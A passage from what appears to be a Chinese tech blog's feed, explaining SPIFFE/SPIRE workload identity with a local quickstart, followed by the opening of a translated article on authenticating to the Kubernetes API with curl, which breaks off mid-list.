&lt;li&gt;访问控制要解决的问题就是谁能访问什么的问题&lt;/li&gt;
&lt;li&gt;这里的“谁”就是认证的问题，对于这个身份，需要进行证明和保护&lt;/li&gt;
&lt;li&gt;通常的保护方式是把凭据作为敏感数据进行加密&lt;/li&gt;
&lt;li&gt;那么解密所需的密钥也是敏感数据&lt;/li&gt;
&lt;li&gt;敏感数据需要安全地进行保存&lt;/li&gt;
&lt;li&gt;但是，要访问被保护的敏感数据，还是需要有访问控制&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要打破死循环，需要一种短生命周期的（易于轮转且不易攻破）、自动化的解决方案。方案中需要有一个可信的根，在这个基础之上来构建软件的身份，而这个身份则成为认证和授权能力的基石。为了防止无穷无尽的下钻过程，工作负载应该能够不借助任何凭据来获得这个身份凭据。&lt;/p&gt;

&lt;p&gt;很多厂商在这个方向上做了各种尝试，例如 Google 的 &lt;a href=&#34;https://cloud.google.com/docs/security/encryption-in-transit/application-layer-transport-security&#34; target=&#34;_blank&#34;&gt;Application Layer Transplort Security（ALTS）&lt;/a&gt;、Netflix 的 &lt;a href=&#34;https://www.usenix.org/sites/default/files/conference/protected-files/enigma_haken_slides.pdf&#34; target=&#34;_blank&#34;&gt;Marathon&lt;/a&gt; 等。&lt;/p&gt;

&lt;p&gt;Kubernetes 创始工程师 Joe Beda 在 2016 GlueCon 上发表了题为 &lt;a href=&#34;http://slides.eightypercent.net/spiffe-intro/index.html#p1&#34; target=&#34;_blank&#34;&gt;Who&amp;rsquo;s Calling?
Production Identity in a Microservices World&lt;/a&gt; 的演讲，其中展示了方案的三个要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;无需凭据，通过内核调用来生成 0 号机密&lt;/li&gt;
&lt;li&gt;使用大多数软件都支持的 x.509&lt;/li&gt;
&lt;li&gt;解耦网络位置和认证&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;专家们在 Netflix 进行了 SPIFFE 草案的研讨。很多成员都已经实现并持续改进工作负载认证的方案，他们发现各自的解决方案都有或多或少的相似性，因此具备形成通用方案的可能性。&lt;/p&gt;

&lt;p&gt;解决工作负载身份问题的最初目标是建立一个开放的规范和相应的生产实现。该框架需要在不同的实现和现成的软件之间提供互操作性，其核心是在一个不信任的环境中建立信任的根基，驱除隐性信任。最后，摆脱以网络为中心的身份，以实现灵活性和更好的扩展特性。&lt;/p&gt;

&lt;h2 id=&#34;spiff-的基本概念&#34;&gt;SPIFF 的基本概念&lt;/h2&gt;

&lt;p&gt;SPIFFE 由五个部分组成，分别是 SPIFFE ID、Workload API、SVID、SPIFFE Trust Bundle 以及 SPIFFE Federation。&lt;/p&gt;

&lt;h3 id=&#34;spiffe-id&#34;&gt;SPIFFE ID&lt;/h3&gt;

&lt;p&gt;软件名称或身份的表达方式，一般使用信任域、服务标识组成的一个 URL，例如 Istio 中的 &lt;code&gt;spiffe://&amp;lt;trust-domain&amp;gt;/ns/&amp;lt;namespace&amp;gt;/sa/&amp;lt;service-account&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;svid&#34;&gt;SVID&lt;/h3&gt;

&lt;p&gt;全称是 Software Verifiable Identify Document，一种加密的可验证的档案，用于证明工作负载的身份。用 CA 签署 SPIFFE 就产生了 SVID，SVID 有两种载体：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;X509：用 SAN 字段来保存 SPIFFE ID。是推荐的保存方式。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;JWT：这种方式下，在应用层用 bearer token 的方式来证明身份。考虑到适用范围和安全性问题，不建议使用 JWT 承载 SVID&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;workload-api&#34;&gt;Workload API&lt;/h3&gt;

&lt;p&gt;一种简单的本地 API，服务可以&lt;strong&gt;无需认证&lt;/strong&gt;直接调用 API 来获得自己的身份、Trust Bundle 以及相关信息。&lt;/p&gt;

&lt;h3 id=&#34;trust-bundle&#34;&gt;Trust Bundle&lt;/h3&gt;

&lt;p&gt;SPIFFE 的公钥组合&lt;/p&gt;

&lt;h3 id=&#34;spiffe-联邦&#34;&gt;SPIFFE 联邦&lt;/h3&gt;

&lt;p&gt;一种简单的用于共享 SPIFFE Trust Bundle 的机制&lt;/p&gt;

&lt;h2 id=&#34;spiffe-spire-和其它安全技术的关系&#34;&gt;SPIFFE/SPIRE 和其它安全技术的关系&lt;/h2&gt;

&lt;p&gt;SPIFFE/SPIRE 的能力并不新鲜，毕竟每个分布式系统都有认证的需求，Web PKI、Kerberos/Active Directory、OAuth、敏感信息存储以及服务网格等都和这一领域有着交集。&lt;/p&gt;

&lt;p&gt;但现存的这些形式对于组织内部的服务认证并不合适。Web PKI 实现要求比较多，并且在典型的内部部署环境下也不够安全；Kerberos 需要一个一直在线的 Ticket 管理服务，并且缺乏证明能力；服务网格、机密管理器和叠加网络解决的都是服务身份问题中的一部分。SPIFFE 和 SPIRE 是目前唯一完整的服务身份方案。&lt;/p&gt;

&lt;h3 id=&#34;web-public-key-infrastructure&#34;&gt;Web Public Key Infrastructure&lt;/h3&gt;

&lt;p&gt;Web PKI 广泛应用在从浏览器连接到安全网站的场景里。这种技术用 X.509 证书来向用户证明网站的身份。读者自然会想问——直接用这种技术进行服务认证不就行了吗？&lt;/p&gt;

&lt;p&gt;传统的 Web PKI 场景下，证书的签发和更新是手工的，难以适应现代的动态伸缩环境。虽然近年来发展出了自动化的签发和刷新流程（Domain Validation/DV），然而 DV 非常依赖于 IP 和域名规划，而且客户端证书也无法使用 DV 的自动化流程。另外，DV 流程里用于响应 Token 请求的服务是独立的，有可能通过 2 层网络进行仿冒。&lt;/p&gt;

&lt;h3 id=&#34;ad-和-kerberos&#34;&gt;AD 和 Kerberos&lt;/h3&gt;

&lt;p&gt;Kerberos 中的核心凭据被称为 &lt;code&gt;ticket&lt;/code&gt;，Ticket 是一个客户端访问一个资源的凭据，客户端通过调用 Ticket Granting Service（TGS）来获取 Ticket。每个客户端在访问资源需要新的 Ticket 的时候都需要访问 TGS，因此需要 TGS 一直在线。所有服务都要信任 TGS。服务注册到 TGS 的时候，需要把密钥物料（例如公钥或者对称密钥）托管到 TGS，TGS 用来为服务创建 Ticket。要对物料进行轮转，需要在服务和 TGS 之间进行协调。服务自己必须接受前任物料签发的过期 Ticket。&lt;/p&gt;

&lt;p&gt;而在 SPIRE 里，客户端和资源都要访问 SPIRE 服务器一次，获取 SVID，然后在信任域范围内就可以凭借这些 SVID 进行互信了，无需再次调用 SPIRE Server。SPIRE 的设计避免了大量对 SPIRE Server 进行访问的成本。SPIRE 这样的依赖 PKI 的认证机制，密钥物料已经解耦，所以轮转过程也大为简化。&lt;/p&gt;

&lt;p&gt;另外 Kerberos 协议的签署过程和主机名紧密相关，多服务共享主机或集群时，这个情况就会非常复杂；SPIRE 则可以轻松地为工作负载和集群支持多个 SVID。同一个 SVID 也能够授予给多个工作负载。&lt;/p&gt;

&lt;h3 id=&#34;oauth-和-openid&#34;&gt;OAuth 和 OpenID&lt;/h3&gt;

&lt;p&gt;OAuth 是一种用于委托的访问方式，而不一定需要自己完成认证过程。OIDC 的第一目标就是让自然人使用一个第三方网站作为自己的身份，来访问目标网站。这个第三方网站必须实现自己的认证方法，从而以本地的认证关系为用户向其他网站提供证明。&lt;/p&gt;

&lt;p&gt;OAuth 是为人机交互设计的，登录过程中需要进行浏览器的交互；2.0 中加入了对非人实体的支持，通常是用 &lt;code&gt;Service Account&lt;/code&gt; 的形式实现。工作负载要拿到 OAuth 凭据来访问远程系统，必须向 OAuth 提供密码或者 Token 等来进行认证。工作负载需要自行维护各自的凭据，从而获得粗粒度的授权能力，这一过程要求每个工作负载都注册到 OAuth 供应侧，因此起管理难度和负载会迅速增加。&lt;/p&gt;

&lt;p&gt;OIDC 并没有解决身份的基本问题，实际上是依赖于预制的身份的。相对来说，SPIRE 不需要长寿的初始凭据，以 SPIRE 作为 OIDC 的身份供应者能够有效地提高安全性——应用无需自行准备身份凭据，只需要用 SPIFFE ID 按需认证即可。&lt;/p&gt;

&lt;h3 id=&#34;敏感信息管理&#34;&gt;敏感信息管理&lt;/h3&gt;

&lt;p&gt;这类工具通常要负责对敏感信息进行控制、审计和保管，起操作方包括了管理员和一些应用。有些工具还会提供加解密等功能。其加密存储功能通常被称为 &lt;code&gt;vault&lt;/code&gt;。应用必须进行认证之后才能访问 Vault 中的数据。这种系统面临的最大挑战通常就是自身的访问控制，通常称为零号凭据。使用 SPIFFE 作为认证机制能更好的解决这一问题。&lt;/p&gt;

&lt;h3 id=&#34;服务网格&#34;&gt;服务网格&lt;/h3&gt;

&lt;p&gt;所有的主流服务网格产品都提供了服务认证功能。SPIFFE 的身份提供能力正适用于这种场景，Istio 和 Consule 都可以使用 SPIFFE 提供身份解决方案。&lt;/p&gt;

&lt;p&gt;Istio 使用 SPIFFE 用于识别节点，但是他的身份模型耦合在 Kubernetes 上，IBM 认为 &lt;a href=&#34;https://developer.ibm.com/articles/istio-identity-spiffe-spire/%23why-the-current-istio-mechanism-is-not-enough/&#34; target=&#34;_blank&#34;&gt;Istio 的机制是不足的&lt;/a&gt;，因此提供了 SPIRE 和 Istio 的&lt;a href=&#34;https://github.com/IBM/istio-spire&#34; target=&#34;_blank&#34;&gt;集成方案&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;叠加网络&#34;&gt;叠加网络&lt;/h3&gt;

&lt;p&gt;叠加网络跨越多个平台模拟了一个统一网络。与服务网格不同的是，叠加网络使用 IP 地址和路由表这样的标准网络概念，来连接服务。最新的覆盖网络开始提供认证能力。在服务连接之前仍然无法验明正身。通常情况下，这种机制都依赖于一个预存证书。因此 SPIFFE 也很适合为叠加网络节点提供证书。&lt;/p&gt;

&lt;h2 id=&#34;spire-简介&#34;&gt;SPIRE 简介&lt;/h2&gt;

&lt;p&gt;综合前面对 SPIFFE 的讲述，可以知道，这东西的核心能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;工作负载（业务应用）可以通过一种本地的、无需认证的方式获取到一个 SPIFFE ID&lt;/li&gt;
&lt;li&gt;SPIFFE ID 可以签署成为 SVID，SVID 用 X.509 或者 JWT 的形式进行表达&lt;/li&gt;
&lt;li&gt;不同的工作负载之间，共享 Trust Bundle&lt;/li&gt;
&lt;li&gt;利用 Trust Bundle 可以鉴别 SVID 的真伪，从而识别出 SPIFFE ID&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;利用可信的 SVID 所代表的 SPIFFE ID，就可以进行后续的访问控制了。&lt;/p&gt;

&lt;p&gt;SPIRE 是如何解决上述问题的？看看官方网站的架构图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://spiffe.io/img/server_and_agent.png&#34; alt=&#34;server and agent&#34; /&gt;&lt;/p&gt;

&lt;p&gt;SPIRE 由服务器和 Agent 两部分组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务器负责签发 SVID 并通过 Agent 传递给工作负载；另外他还要维护一个工作负载身份的注册表&lt;/li&gt;
&lt;li&gt;Agent 部署在每个节点上，向工作负载公开 Workload API。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这说起来还是非常抽象，为了实现 SPIFFE 规范，SPIRE 引入了一系列自己的概念。&lt;/p&gt;

&lt;h3 id=&#34;attestation&#34;&gt;Attestation&lt;/h3&gt;

&lt;p&gt;SPIRE 中的 Attestation（证实）过程，就是求证工作负载身份的过程。SPIRE 的证实工作氛围两个步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;先验证节点：保障工作负载所在的节点的身份的有效性&lt;/li&gt;
&lt;li&gt;再验证工作负载：保证节点上的工作负载是有效的&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;node-attestation&#34;&gt;Node Attestation&lt;/h3&gt;

&lt;p&gt;节点的证实过程是在 Agent 启动过程中完成的，SPIRE 要求 Agent 在第一次连接到服务器的时候能够验明正身。在节点证实过程中，Agent 和服务器协作对 Agent 所在的节点进行校验。这个过程是通过 SPIRE 中被称为 Node Attestor 的插件完成的，这种插件的基本做法就是对节点以及所在环境进行查询和比对，来验证节点身份的有效性。&lt;/p&gt;

&lt;p&gt;节点证实成功之后，Agent 就收到了一个 SPIFFE ID，Agent 会把这个 ID 作为父 ID，发放给运行在这个节点上的工作负载。&lt;/p&gt;

&lt;p&gt;几种常见的节点身份的证据：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;云平台分发给节点的身份文档（例如 AWS 的 Instance Identity Document）&lt;/li&gt;
&lt;li&gt;节点上 HSM 或者 TPM 硬件的私钥&lt;/li&gt;
&lt;li&gt;安装 Agent 时候的手工验证过程&lt;/li&gt;
&lt;li&gt;多节点系统中提供的身份凭据，例如 Kubernetes 的 SA Token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;节点证实过程会返回一组属性（Selector）给服务器，这些属性能够标识出特定的节点，另外还会有 Node Resolver 来获取节点的其他属性，这些属性一起，构成了 SPIFFE ID 的附加属性。&lt;/p&gt;

&lt;p&gt;例如 AWS 节点的证实过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/node_attestation.png&#34; alt=&#34;node_attestation&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Agent 上的 AWS Node Attestor 向 AWS 查询节点的身份，发送给 Agent&lt;/li&gt;
&lt;li&gt;Agent 把身份的证据发送给服务器，服务器把信息发送给 AWS Node Attestor（的服务侧）&lt;/li&gt;
&lt;li&gt;AWS Node Attestor 的服务端独立或者调用 AWS API 对前一个步骤获取到的信息进行验证。Node Attestor 还会为 Agent 创建一个 SPIFFE ID，并把 SPIFFE ID 和 Selecor 传给服务器进程&lt;/li&gt;
&lt;li&gt;Server 返回一个 Agent 节点的 SVID&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SPIRE 支持多种环境的 Node Attestor，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS 的 EC2 实例（EC2 Instance Identity Document）&lt;/li&gt;
&lt;li&gt;Azure 虚拟机（Azure Managed Service Identities）&lt;/li&gt;
&lt;li&gt;GCE Instance（GCE Instance Identity Token）&lt;/li&gt;
&lt;li&gt;Kuhbernetes 节点（Kubernetes Service Account Token）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对于无法直接认证节点的平台，SPIRE 提供了如下措施：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务器和 Agent 之间可以生成一个预共享密钥作为加入的 Token，Agent 启动时进行验证，使用后立即过期&lt;/li&gt;
&lt;li&gt;使用现存 X.509 证书&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;workload-attestation&#34;&gt;Workload Attestation&lt;/h3&gt;

&lt;p&gt;工作负载的证实过程要回答的问题是：这个进程是谁？Agent 和 Server 都参与到了节点证实过程里；而工作负载的证实过程是由 Agent 完成的。&lt;/p&gt;

&lt;p&gt;下图展示了工作负载证明的过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/workload_attestation.png&#34; alt=&#34;Workload Attestation&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;工作负载调用 Workload API 申请 SVID。在 Unix 系统中，这个 API 表现为一个 Unix Domain Socket&lt;/li&gt;
&lt;li&gt;Agent 调用节点的内核来认证调用者的进程 ID。然后回调用工作负载的证实插件，把进程号提供给他们&lt;/li&gt;
&lt;li&gt;利用进程 ID 查询工作负载的额外信息，可能会和 Kubelet 等同节点服务进行交互&lt;/li&gt;
&lt;li&gt;Attestor 把进程信息返回给 Agent&lt;/li&gt;
&lt;li&gt;Agent 把属性和注册信息进行比对，返回合适的 SVID 给工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;工作负载的证实机制目前支持 Unix、Kubernetes 和 Docker。&lt;/p&gt;

&lt;h3 id=&#34;svid-的生命周期&#34;&gt;SVID 的生命周期&lt;/h3&gt;

&lt;p&gt;这一节内容讲述了 SPIRE 签发工作负载身份的过程。这个过程从 Agent 在节点上启动开始，持续到工作负载收到有效的 X.509 SVID 为止（注意，JWT 和 X.509 的处理方式是不同的）。下面以 AWS EC2 为例。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SPIRE Server 启动&lt;/li&gt;
&lt;li&gt;除非用户配置了上游 CA 插件，Server 会生成一个自签名证书；Server 会使用这个证书来给信任域内所有的工作负载签发 SVID&lt;/li&gt;
&lt;li&gt;如果这是首次启动，Server 会自动生成 Trust Bundle，这些内容会被存储在 SQL 数据库中&lt;/li&gt;
&lt;li&gt;Server 开启注册 API，允许注册工作负载&lt;/li&gt;
&lt;li&gt;SPIRE Agent 在运行了工作负载的节点上启动&lt;/li&gt;
&lt;li&gt;Agent 执行节点证实工作，向 Server 证明节点的身份。例如在 AWS EC2 实例上，通常会把 &lt;a href=&#34;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html&#34; target=&#34;_blank&#34;&gt;AWS Instance Identity Document&lt;/a&gt; 提交给服务器&lt;/li&gt;
&lt;li&gt;Agent 把身份的证据用 TLS 提交给 Server。TLS 的认证通过 Agent 的 Bootstrap Bundle 来完成&lt;/li&gt;
&lt;li&gt;Server 调用 AWS API 对这些证据进行校验&lt;/li&gt;
&lt;li&gt;AWS 确认文档的有效性&lt;/li&gt;
&lt;li&gt;Server 对节点进行解析，验证 Agent 节点的附加属性，并更新注册数据。例如节点使用的是 Azure Managed Service Identity（MSI）。Resolver 会根据 SPIFFE ID 解析 Tenat ID 以及 Principal ID，并用多种 Azure Service 获取额外信息&lt;/li&gt;
&lt;li&gt;Server 给 Agent 签发一个 SVID，证实 Agent 的身份&lt;/li&gt;
&lt;li&gt;Agent 用它的 SVID 以及他的 TLS 客户端证书联系 Server，获得它被授权的注册内容&lt;/li&gt;
&lt;li&gt;Server 用 Agent 的 SVID 验证 Agent 的身份。Agent 接下来会完成 mTLS 握手，使用 Bootstarap Bundle 完成认证。&lt;/li&gt;
&lt;li&gt;Server 从数据库中抓取所有（该 Agent 下的）&lt;a href=&#34;https://spiffe.io/docs/latest/spire-about/spire-concepts/#authorized-registration-entries&#34; target=&#34;_blank&#34;&gt;认证的注册条目&lt;/a&gt;，发送给 Agent&lt;/li&gt;
&lt;li&gt;Agent 发送工作负载的 CSR 给 Server，Server 会签署和返回 Workload SVID 给客户端，客户端进行缓存&lt;/li&gt;
&lt;li&gt;启动过程完成，Agent 开始监听 Workload API 的 Socket&lt;/li&gt;
&lt;li&gt;Workload 调用调用 Workload API，申请 SVID&lt;/li&gt;
&lt;li&gt;Agent 通过调用 Workload Attestor 来初始化 Workload 的证实过程，证实过程的输入以工作负载的进程 ID 启动&lt;/li&gt;
&lt;li&gt;Attestor 使用内核和用户空间的调用，发现工作负载的附加信息&lt;/li&gt;
&lt;li&gt;Attestor 把发现的信息返回给 Agent&lt;/li&gt;
&lt;li&gt;Agent 通过比对缓存中的注册信息和 Workload 上报的信息，来决定是否把缓存中的 SVID 返回给工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;spire-quick-start&#34;&gt;SPIRE Quick Start&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;是的完全来自官网&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/spiffe/spire/releases&#34; target=&#34;_blank&#34;&gt;Release 页面&lt;/a&gt;没有提供 ARM 架构的发布包，差评，只好自己构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone --single-branch --branch v1.4.0 https://github.com/spiffe/spire.git
$ cd spire
$ go build ./cmd/spire-server 
$ go build ./cmd/spire-agent
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后用源码包里面的默认配置启动服务器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server run -config conf/server/server.conf &amp;amp;
...
INFO[0000] Starting TCP server   address=&amp;quot;127.0.0.1:8081&amp;quot; subsystem_name=endpoints
INFO[0000] Starting UDS server   address=/tmp/spire-registration.sock subsystem_name=endpoints
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;做一下健康检查：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server healthcheck                                         
Server is healthy.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;前面提过用 Bootstrap Token 证实节点身份的方法，这里生成一个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server token generate -spiffeID spiffe://example.org/myagent
Token: ff19d99e-e3f2-446f-86eb-cb37fcbd6574
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面启动一个 Agent，并进行健康检查：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent run -config conf/agent/agent.conf -joinToken &amp;lt;token&amp;gt;
$ bin/spire-agent healthcheck
Agent is healthy.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了让 SPIRE 能识别工作负载，必须把工作负载用注册项的方式注册到 SPIRE 服务器上。注册过程告知 SPIRE 认证工作负载的方法，以及工作负载的 SPIFFE ID。&lt;/p&gt;

&lt;p&gt;下面的命令用当前用户的 UID 创建了一个注册项：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server entry create \
    -parentID spiffe://example.org/myagent \
    -spiffeID spiffe://example.org/myservice \
    -selector unix:uid:$(id -u)
Entry ID         : 2c0325c5-e5b4-433a-a675-059cbf19f8aa
SPIFFE ID        : spiffe://example.org/myservice
Parent ID        : spiffe://example.org/myagent
Revision         : 0
TTL              : default
Selector         : unix:uid:501
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时可以在服务侧列出当前的注册条目：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-server entry show
Found 2 entries
Entry ID         : 521fd101-031a-42bf-8190-696bd315e2d3
SPIFFE ID        : spiffe://example.org/myagent
Parent ID        : spiffe://example.org/spire/agent/join_token/ff19d99e-e3f2-446f-86eb-cb37fcbd6574
Revision         : 0
TTL              : default
Selector         : spiffe_id:spiffe://example.org/spire/agent/join_token/ff19d99e-e3f2-446f-86eb-cb37fcbd6574

Entry ID         : 2c0325c5-e5b4-433a-a675-059cbf19f8aa
SPIFFE ID        : spiffe://example.org/myservice
Parent ID        : spiffe://example.org/myagent
Revision         : 0
TTL              : default
Selector         : unix:uid:501
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个注册条目的 &lt;code&gt;Selector&lt;/code&gt; 字段表示用 uid 501 这个条件可以给出 &lt;code&gt;spiffe://example.org/myservice&lt;/code&gt; 这个 SPIFFE ID。&lt;/p&gt;

&lt;p&gt;这里使用的是 unix Workload Attestor，SPIRE 通过插件的方式支持多种 Node Attestor 和 Workload Attestor，例如 SSH、Kubernetes、AWS、Docker 等等。上面的例子中使用了 &lt;code&gt;unix&lt;/code&gt; Attestor 除了这个 uid 之外，还能够支持执行路径、二进制哈希等的 &lt;code&gt;Selector&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;接下来模仿进程，从 Agent 获取一个 x509-SVID。x509-SVID 可以用于不同工作负载之间的访问控制，下面的命令把 SVID 写入 &lt;code&gt;/tmp&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent api fetch x509 -write /tmp/
Received 1 svid after 253.934417ms

SPIFFE ID:              spiffe://example.org/myservice
SVID Valid After:       2022-10-05 14:45:30 +0000 UTC
SVID Valid Until:       2022-10-05 15:45:40 +0000 UTC
Intermediate #1 Valid After:    2022-10-05 09:01:24 +0000 UTC
Intermediate #1 Valid Until:    2022-10-06 09:01:34 +0000 UTC
CA #1 Valid After:      2018-05-13 19:33:47 +0000 UTC
CA #1 Valid Until:      2023-05-12 19:33:47 +0000 UTC

Writing SVID #0 to file /tmp/svid.0.pem.
Writing key #0 to file /tmp/svid.0.key.
Writing bundle #0 to file /tmp/bundle.0.pem.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到生成了几个 &lt;code&gt;.pem&lt;/code&gt;、&lt;code&gt;.key&lt;/code&gt; 文件，查看几个文件的内容，会发现：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;bundle.0.pem&lt;/code&gt; 中是一个自签发的根证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;...
X509v3 Basic Constraints: critical
    CA:TRUE
X509v3 Key Usage: critical
    Certificate Sign, CRL Sign
X509v3 Subject Alternative Name:
    URI:spiffe://local
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;svid.0.pem&lt;/code&gt; 中包含了两个证书，其中一个是中间 CA，另一个是可用于服务侧和客户侧的身份证书&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;检查签发关系会发现是 &lt;code&gt;bundle.0.pem&lt;/code&gt; 签发了 &lt;code&gt;svid.0.pem&lt;/code&gt; 中的中间证书，中间证书签发了身份证书。&lt;/p&gt;

&lt;p&gt;根据上面的过程大致可以推断出，Server 启动成功之后，Agent 首先自己通过某种方式获得了自己的“合法身份”（例如例子中使用的 Token）。Server 侧预制了若干策略（例如前面注册的 &lt;code&gt;uid=501&lt;/code&gt;），Agent 拿到这些策略之后，根据其“本地”的工作负载情况，符合 Selector 要求的内容，就直接发放 SVID。&lt;/p&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;零敲碎打的阅读了官网文档以及这篇 PDF 之后，对其中种种的严密思考深感折服，同时也感觉，对于缺乏零信任基础设施的组织来说，SPIFFE/SPIRE 是个不可多得的致敬目标，其中对于 Server、Agent、插件的职责划分和流程保障都非常值得借鉴（抄袭）。&lt;/p&gt;

&lt;p&gt;然而仅凭这一个技术和产品要达成安全目标也是不现实的，就拿前面提到的 Node Attestor、Workload Attestor，很明显需要根据企业 IT 实际环境，进行插件的选择甚至开发；各种 Selector 的选用和具体实施过程，策略如何保障权威性和最小权限原则，CI/CD、不可变基础设施、配置漂移等问题，都有可能对 SPIFFE 证实过程的干扰甚至破坏；策略的制定过程似乎也是个充满挑战的过程。还好文档中对于联邦的设计、高可用部署、各种典型的集成方式都有相当细致的介绍，非常值得深入学习。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的用户和工作负载身份</title>
      <link>/post/user-and-workload-authentication-kubernetes/</link>
      <pubDate>Mon, 04 Jul 2022 21:53:52 +0800</pubDate>
      <guid>/post/user-and-workload-authentication-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://learnk8s.io/authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;User and workload identities in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;http://arthurchiao.art/about/&#34; target=&#34;_blank&#34;&gt;Arthur Chiao&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文中我们会试着解释，在 Kubernetes API Server 上如何对用户和工作负载进行认证的问题。&lt;/p&gt;

&lt;p&gt;Kubernetes API Server 开放了 HTTP API 接口，让最终用户、集群组件以及外部组件可以进行通信。&lt;/p&gt;

&lt;p&gt;绝大多数操作都可以用 &lt;code&gt;kubectl&lt;/code&gt; 来完成，而且也可以使用 REST 调用的方式直接访问 API。&lt;/p&gt;

&lt;p&gt;但是如何只允许认证用户访问 API 呢？&lt;/p&gt;

&lt;h2 id=&#34;使用-curl-访问-kubernetes-api&#34;&gt;使用 &lt;code&gt;curl&lt;/code&gt; 访问 Kubernetes API&lt;/h2&gt;

&lt;p&gt;让我们从调用 Kubernetes API 开始。&lt;/p&gt;

&lt;p&gt;要列出集群中的所有命名空间，可以执行下列命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export API_SERVER_URL=https://10.5.5.5:6443

$ curl $API_SERVER_URL/api/v1/namespaces
curl: (60) Peer Certificate issuer is not recognized.
# truncated output
If you&#39;d like to turn off curl&#39;s verification of the certificate, use the -k (or --insecure) option.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;输出内容表明，API Server 的接口用一个未识别的证书（例如自签发）提供了 &lt;code&gt;https&lt;/code&gt; 服务，所以 &lt;code&gt;curl&lt;/code&gt; 中断了这个请求。&lt;/p&gt;

&lt;p&gt;接下来我们用 &lt;code&gt;-k&lt;/code&gt; 参数跳过证书验证过程，并观察产生的响应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;# curl -k $API_SERVER_URL/api/v1/namespaces
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;namespaces is forbidden: User \&amp;quot;system:anonymous\&amp;quot; cannot list resource \&amp;quot;namespaces\&amp;quot; ...&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: { &amp;quot;kind&amp;quot;: &amp;quot;namespaces&amp;quot; },
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在我们拿到了响应，但是：&lt;/p&gt;

&lt;ol&gt;
